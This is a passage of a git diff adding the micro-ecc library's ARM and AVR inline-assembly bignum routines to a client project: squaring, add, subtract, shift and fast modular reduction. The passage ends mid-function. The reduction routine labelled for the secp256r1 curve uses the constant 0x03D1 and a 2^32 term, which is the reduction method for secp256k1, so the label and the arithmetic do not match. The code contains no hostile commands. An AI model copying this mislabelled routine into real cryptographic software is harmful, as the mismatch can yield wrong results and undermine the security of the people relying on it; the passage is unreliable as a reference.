r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r5, r5 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r3, r2 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r4, r7 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r5, r6 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r8, r8, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r4, r2 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r5, r7 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r6, r6 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r5, r2 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r6, r7 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r8, #0 \n\t" \ + "umull r1, r10, r6, r2 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "umull r1, r10, r7, r7 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r1, r10, r7, r2 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "adds r12, r12, r1 \n\t" \ + "adcs r8, r8, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "umull r1, r10, r2, r2 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "stmia r0!, {r8, r11} \n\t" + +#define FAST_SQUARE_ASM_8 \ + "ldmia r1!, {r2, r3} \n\t" \ + "add r1, 16 \n\t" \ + "ldmia r1!, {r5, r6} \n\t" \ + "add r0, 24 \n\t" \ + \ + "umull r8, r9, r2, r5 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "umull r12, r10, r2, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "umull r8, r9, r3, r6 \n\t" \ + "adds r10, r10, r8 \n\t" \ + "adc r11, r9, #0 \n\t" \ + "stmia r0!, {r10, r11} \n\t" \ + \ + "sub r0, 40 \n\t" \ + "sub r1, 32 \n\t" \ + "ldmia r1!, {r2,r3,r4,r5,r6,r7} \n\t" \ + \ + "umull r11, r12, r2, r2 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r2, r3 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r11, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r8, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r2, r4 \n\t" \ + "adds r11, r11, r11 \n\t" \ + "adcs r12, r12, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r3 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r2, r5 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r3, r4 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r2, r6 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r3, r5 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r4, r4 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r2, r7 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r3, r6 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r4, r5 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "ldmia r1!, {r2} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r3, r7 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r4, r6 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r8, r8, r14 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r5, r5 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r3, r2 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r4, r7 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r5, r6 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r8, r8, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r4, r2 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r5, r7 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r8, r8, r14 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r6, r6 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r4, r3 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r5, r2 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r6, r7 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r8, r8, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r5, r3 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r6, r2 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r7, r7 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r6, r3 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r7, r2 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r8, #0 \n\t" \ + "umull r1, r10, r7, r3 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "umull r1, r10, r2, r2 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r1, r10, r2, r3 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "adds r12, r12, r1 \n\t" \ + "adcs r8, r8, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "umull r1, r10, r3, r3 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "stmia r0!, {r8, r11} \n\t" + +#endif /* _UECC_ASM_ARM_MULT_SQUARE_H_ */ diff --git a/client/libs/crypto/micro-ecc/asm_avr.inc b/client/libs/crypto/micro-ecc/asm_avr.inc new file mode 100644 index 0000000..c99bf82 --- /dev/null +++ b/client/libs/crypto/micro-ecc/asm_avr.inc @@ -0,0 +1,960 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_ASM_AVR_H_ +#define _UECC_ASM_AVR_H_ + +#if __AVR_HAVE_EIJMP_EICALL__ + #define IJMP "eijmp \n\t" +#else + #define IJMP "ijmp \n\t" +#endif + +#if (uECC_OPTIMIZATION_LEVEL >= 2) + +uECC_VLI_API void uECC_vli_clear(uECC_word_t *vli, wordcount_t num_words) { + volatile uECC_word_t *v = vli; + __asm__ volatile ( + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "ldi r30, pm_lo8(1f) \n\t" + "ldi r31, pm_hi8(1f) \n\t" + "sub r30, %[num] \n\t" + "sbc r31, __zero_reg__ \n\t" + IJMP + #endif + + REPEAT(uECC_MAX_WORDS, "st x+, __zero_reg__ \n\t") + "1: \n\t" + : "+x" (v) + : [num] "r" (num_words) + : + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "r30", "r31", "cc" + #endif + ); +} +#define asm_clear 1 + +uECC_VLI_API void uECC_vli_set(uECC_word_t *dest, const uECC_word_t *src, wordcount_t num_words) { + volatile uECC_word_t *d = dest; + __asm__ volatile ( + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "ldi r30, pm_lo8(1f) \n\t" + "ldi r31, pm_hi8(1f) \n\t" + "sub r30, %[num] \n\t" + "sbc r31, __zero_reg__ \n\t" + IJMP + #endif + + REPEAT(uECC_MAX_WORDS, + "ld r0, y+ \n\t" + "st x+, r0 \n\t") + "1: \n\t" + : "+x" (d), "+y" (src) + : [num] "r" ((uint8_t)(num_words * 2)) + : "r0", + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "r30", "r31", "cc" + #endif + ); +} +#define asm_set 1 + +uECC_VLI_API void uECC_vli_rshift1(uECC_word_t *vli, wordcount_t num_words) { + volatile uECC_word_t *v = vli; + __asm__ volatile ( + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "ldi r30, pm_lo8(1f) \n\t" + "ldi r31, pm_hi8(1f) \n\t" + "sub r30, %[jump] \n\t" + "sbc r31, __zero_reg__ \n\t" + #endif + + "add r26, %[num] \n\t" + "adc r27, __zero_reg__ \n\t" + "ld r0, -x \n\t" + "lsr r0 \n\t" + "st x, r0 \n\t" + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + IJMP + #endif + + REPEAT(DEC(uECC_MAX_WORDS), + "ld r0, -x \n\t" + "ror r0 \n\t" + "st x, r0 \n\t") + "1: \n\t" + : "+x" (v) + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + : [num] "r" (num_words), [jump] "r" ((uint8_t)(3 * (num_words - 1))) + : "r0", "r30", "r31", "cc" + #else + : [num] "r" (num_words) + : "r0", "cc" + #endif + ); +} +#define asm_rshift1 1 + +#define ADD_RJPM_TABLE(N) \ + "movw r30, %A[result] \n\t" \ + "rjmp add_%=_" #N " \n\t" + +#define ADD_RJPM_DEST(N) \ + "add_%=_" #N ":" \ + "ld %[clb], x+ \n\t" \ + "ld %[rb], y+ \n\t" \ + "adc %[clb], %[rb] \n\t" \ + "st z+, %[clb] \n\t" + +uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + volatile uECC_word_t *r = result; + uint8_t carry; + uint8_t right_byte; + + __asm__ volatile ( + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "ldi r30, pm_lo8(add_%=_" STR(uECC_MAX_WORDS) ") \n\t" + "ldi r31, pm_hi8(add_%=_" STR(uECC_MAX_WORDS) ") \n\t" + "sub r30, %[num] \n\t" + "sbc r31, __zero_reg__ \n\t" + #endif + + "clc \n\t" + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + IJMP + REPEATM(uECC_MAX_WORDS, ADD_RJPM_TABLE) + #endif + + REPEATM(uECC_MAX_WORDS, ADD_RJPM_DEST) + + "mov %[clb], __zero_reg__ \n\t" + "adc %[clb], %[clb] \n\t" /* Store carry bit. */ + + : "+x" (left), "+y" (right), + [clb] "=&r" (carry), [rb] "=&r" (right_byte) + : [result] "r" (r), [num] "r" ((uint8_t)(num_words * 2)) + : "r30", "r31", "cc" + ); + return carry; +} +#define asm_add 1 + +#define SUB_RJPM_TABLE(N) \ + "movw r30, %A[result] \n\t" \ + "rjmp sub_%=_" #N " \n\t" + +#define SUB_RJPM_DEST(N) \ + "sub_%=_" #N ":" \ + "ld %[clb], x+ \n\t" \ + "ld %[rb], y+ \n\t" \ + "sbc %[clb], %[rb] \n\t" \ + "st z+, %[clb] \n\t" + +uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + volatile uECC_word_t *r = result; + uint8_t carry; + uint8_t right_byte; + + __asm__ volatile ( + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "ldi r30, pm_lo8(sub_%=_" STR(uECC_MAX_WORDS) ") \n\t" + "ldi r31, pm_hi8(sub_%=_" STR(uECC_MAX_WORDS) ") \n\t" + "sub r30, %[num] \n\t" + "sbc r31, __zero_reg__ \n\t" + #endif + + "clc \n\t" + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + IJMP + REPEATM(uECC_MAX_WORDS, SUB_RJPM_TABLE) + #endif + + REPEATM(uECC_MAX_WORDS, SUB_RJPM_DEST) + + "mov %[clb], __zero_reg__ \n\t" + "adc %[clb], %[clb] \n\t" /* Store carry bit. */ + + : "+x" (left), "+y" (right), + [clb] "=&r" (carry), [rb] "=&r" (right_byte) + : [result] "r" (r), [num] "r" ((uint8_t)(num_words * 2)) + : "r30", "r31", "cc" + ); + return carry; +} +#define asm_sub 1 + +#if uECC_SUPPORTS_secp160r1 +static const struct uECC_Curve_t curve_secp160r1; +static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product) { + uint8_t carry = 0; + __asm__ volatile ( + "in r30, __SP_L__ \n\t" + "in r31, __SP_H__ \n\t" + "sbiw r30, 24 \n\t" + "in r0, __SREG__ \n\t" + "cli \n\t" + "out __SP_H__, r31 \n\t" + "out __SREG__, r0 \n\t" + "out __SP_L__, r30 \n\t" + + "adiw r30, 25 \n\t" /* we are shifting by 31 bits, so shift over 4 bytes + (+ 1 since z initially points below the stack) */ + "adiw r26, 40 \n\t" /* end of product */ + "ld r18, -x \n\t" /* Load word. */ + "lsr r18 \n\t" /* Shift. */ + "st -z, r18 \n\t" /* Store the first result word. */ + + /* Now we just do the remaining words with the carry bit (using ROR) */ + REPEAT(19, + "ld r18, -x \n\t" + "ror r18 \n\t" + "st -z, r18 \n\t") + + "eor r18, r18 \n\t" /* r18 = 0 */ + "ror r18 \n\t" /* get last bit */ + "st -z, r18 \n\t" /* store it */ + + "sbiw r30, 3 \n\t" /* move z back to point at tmp */ + /* now we add right */ + "ld r18, x+ \n\t" + "st z+, r18 \n\t" /* the first 3 bytes do not need to be added */ + "ld r18, x+ \n\t" + "st z+, r18 \n\t" + "ld r18, x+ \n\t" + "st z+, r18 \n\t" + + "ld r18, x+ \n\t" + "ld r19, z \n\t" + "add r18, r19 \n\t" + "st z+, r18 \n\t" + + /* Now we just do the remaining words with the carry bit (using ADC) */ + REPEAT(16, + "ld r18, x+ \n\t" + "ld r19, z \n\t" + "adc r18, r19 \n\t" + "st z+, r18 \n\t") + + /* Propagate over the remaining bytes of result */ + "ld r18, z \n\t" + "adc r18, r1 \n\t" + "st z+, r18 \n\t" + + "ld r18, z \n\t" + "adc r18, r1 \n\t" + "st z+, r18 \n\t" + + "ld r18, z \n\t" + "adc r18, r1 \n\t" + "st z+, r18 \n\t" + + "ld r18, z \n\t" + "adc r18, r1 \n\t" + "st z+, r18 \n\t" + + "sbiw r30, 24 \n\t" /* move z back to point at tmp */ + "sbiw r26, 40 \n\t" /* move x back to point at product */ + + /* add low bytes of tmp to product, storing in result */ + "ld r18, z+ \n\t" + "ld r19, x+ \n\t" + "add r18, r19 \n\t" + "st y+, r18 \n\t" + REPEAT(19, + "ld r18, z+ \n\t" + "ld r19, x+ \n\t" + "adc r18, r19 \n\t" + "st y+, r18 \n\t") + "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */ + /* at this point x is at the end of product, y is at the end of result, + z is 20 bytes into tmp */ + "sbiw r28, 20 \n\t" /* move y back to point at result */ + "adiw r30, 4 \n\t" /* move z to point to the end of tmp */ + + /* do omega_mult again with the 4 relevant bytes */ + /* z points to the end of tmp, x points to the end of product */ + "ld r18, -z \n\t" /* Load word. */ + "lsr r18 \n\t" /* Shift. */ + "st -x, r18 \n\t" /* Store the first result word. */ + + "ld r18, -z \n\t" + "ror r18 \n\t" + "st -x, r18 \n\t" + "ld r18, -z \n\t" + "ror r18 \n\t" + "st -x, r18 \n\t" + "ld r18, -z \n\t" + "ror r18 \n\t" + "st -x, r18 \n\t" + + "eor r18, r18 \n\t" /* r18 = 0 */ + "ror r18 \n\t" /* get last bit */ + "st -x, r18 \n\t" /* store it */ + + "sbiw r26, 3 \n\t" /* move x back to point at beginning */ + /* now we add a copy of the 4 bytes */ + "ld r18, z+ \n\t" + "st x+, r18 \n\t" /* the first 3 bytes do not need to be added */ + "ld r18, z+ \n\t" + "st x+, r18 \n\t" + "ld r18, z+ \n\t" + "st x+, r18 \n\t" + + "ld r18, z+ \n\t" + "ld r19, x \n\t" + "add r18, r19 \n\t" + "st x+, r18 \n\t" + + /* Propagate over the remaining bytes */ + "ld r18, x \n\t" + "adc r18, r1 \n\t" + "st x+, r18 \n\t" + + "ld r18, x \n\t" + "adc r18, r1 \n\t" + "st x+, r18 \n\t" + + "ld r18, x \n\t" + "adc r18, r1 \n\t" + "st x+, r18 \n\t" + + "ld r18, x \n\t" + "adc r18, r1 \n\t" + "st x+, r18 \n\t" + + /* now z points to the end of tmp, x points to the end of product + (y still points at result) */ + "sbiw r26, 8 \n\t" /* move x back to point at beginning of actual data */ + /* add into result */ + "ld r18, x+ \n\t" + "ld r19, y \n\t" + "add r18, r19 \n\t" + "st y+, r18 \n\t" + REPEAT(7, + "ld r18, x+ \n\t" + "ld r19, y \n\t" + "adc r18, r19 \n\t" + "st y+, r18 \n\t") + + /* Done adding, now propagate carry bit */ + REPEAT(12, + "ld r18, y \n\t" + "adc r18, __zero_reg__ \n\t" + "st y+, r18 \n\t") + + "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */ + "sbiw r28, 20 \n\t" /* move y back to point at result */ + + "sbiw r30, 1 \n\t" /* fix stack pointer */ + "in r0, __SREG__ \n\t" + "cli \n\t" + "out __SP_H__, r31 \n\t" + "out __SREG__, r0 \n\t" + "out __SP_L__, r30 \n\t" + + : "+x" (product), [carry] "+r" (carry) + : "y" (result) + : "r0", "r18", "r19", "r30", "r31", "cc", "memory" + ); + + if (carry > 0) { + --carry; + uECC_vli_sub(result, result, curve_secp160r1.p, 20); + } + if (carry > 0) { + uECC_vli_sub(result, result, curve_secp160r1.p, 20); + } + if (uECC_vli_cmp_unsafe(result, curve_secp160r1.p, 20) > 0) { + uECC_vli_sub(result, result, curve_secp160r1.p, 20); + } +} +#define asm_mmod_fast_secp160r1 1 +#endif /* uECC_SUPPORTS_secp160r1 */ + +#if uECC_SUPPORTS_secp256r1 +static const struct uECC_Curve_t curve_secp256r1; +static void vli_mmod_fast_secp256r1(uECC_word_t *result, uECC_word_t *product) { + uint8_t carry = 0; + __asm__ volatile ( + "in r30, __SP_L__ \n\t" + "in r31, __SP_H__ \n\t" + "sbiw r30, 37 \n\t" + "in r0, __SREG__ \n\t" + "cli \n\t" + "out __SP_H__, r31 \n\t" + "out __SREG__, r0 \n\t" + "out __SP_L__, r30 \n\t" + + "adiw r30, 1 \n\t" /* add 1 since z initially points below the stack */ + "adiw r26, 32 \n\t" /* product + uECC_WORDS */ + "ldi r25, 0x03 \n\t" + "ldi r24, 0xD1 \n\t" + "ld r18, x+ \n\t" + "ld r19, x+ \n\t" + "ld r20, x+ \n\t" + "ld r21, x+ \n\t" + + "mul r24, r18 \n\t" + "st z+, r0 \n\t" + "mov r22, r1 \n\t" + "ldi r23, 0 \n\t" + + "mul r24, r19 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" /* can't overflow */ + "mul r25, r18 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" /* can't overflow */ + "st z+, r22 \n\t" + "ldi r22, 0 \n\t" + + "mul r24, r20 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "mul r25, r19 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st z+, r23 \n\t" + "ldi r23, 0 \n\t" + + "mul r24, r21 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "mul r25, r20 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "st z+, r22 \n\t" + "ldi r22, 0 \n\t" + + /* now we start adding the 2^32 part as well */ + "add r23, r18 \n\t" // 28 + "adc r22, r22 \n\t" + "ld r18, x+ \n\t" + "mul r24, r18 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "mul r25, r21 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st z+, r23 \n\t" + "ldi r23, 0 \n\t" + + "add r22, r19 \n\t" // 27 + "adc r23, r23 \n\t" + "ld r19, x+ \n\t" + "mul r24, r19 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "mul r25, r18 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "st z+, r22 \n\t" + "ldi r22, 0 \n\t" + + REPEAT(6, // 26 - 3 + "add r23, r20 \n\t" + "adc r22, r22 \n\t" + "ld r20, x+ \n\t" + "mul r24, r20 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "mul r25, r19 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st z+, r23 \n\t" + "ldi r23, 0 \n\t" + + "add r22, r21 \n\t" + "adc r23, r23 \n\t" + "ld r21, x+ \n\t" + "mul r24, r21 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "mul r25, r20 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "st z+, r22 \n\t" + "ldi r22, 0 \n\t" + + "add r23, r18 \n\t" + "adc r22, r22 \n\t" + "ld r18, x+ \n\t" + "mul r24, r18 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "mul r25, r21 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st z+, r23 \n\t" + "ldi r23, 0 \n\t" + + "add r22, r19 \n\t" + "adc r23, r23 \n\t" + "ld r19, x+ \n\t" + "mul r24, r19 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "mul r25, r18 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "st z+, r22 \n\t" + "ldi r22, 0 \n\t") + + "add r23, r20 \n\t" // 2 + "adc r22, r22 \n\t" + "ld r20, x+ \n\t" + "mul r24, r20 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "mul r25, r19 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st z+, r23 \n\t" + "ldi r23, 0 \n\t" + + "add r22, r21 \n\t" // 1 + "adc r23, r23 \n\t" + "ld r21, x+ \n\t" + "mul r24, r21 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "mul r25, r20 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "st z+, r22 \n\t" + "ldi r22, 0 \n\t" + + /* Now finish the carries etc */ + "add r23, r18 \n\t" + "adc r22, r22 \n\t" + "mul r25, r21 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st z+, r23 \n\t" + "ldi r23, 0 \n\t" + + "add r22, r19 \n\t" + "adc r23, r23 \n\t" + "st z+, r22 \n\t" + 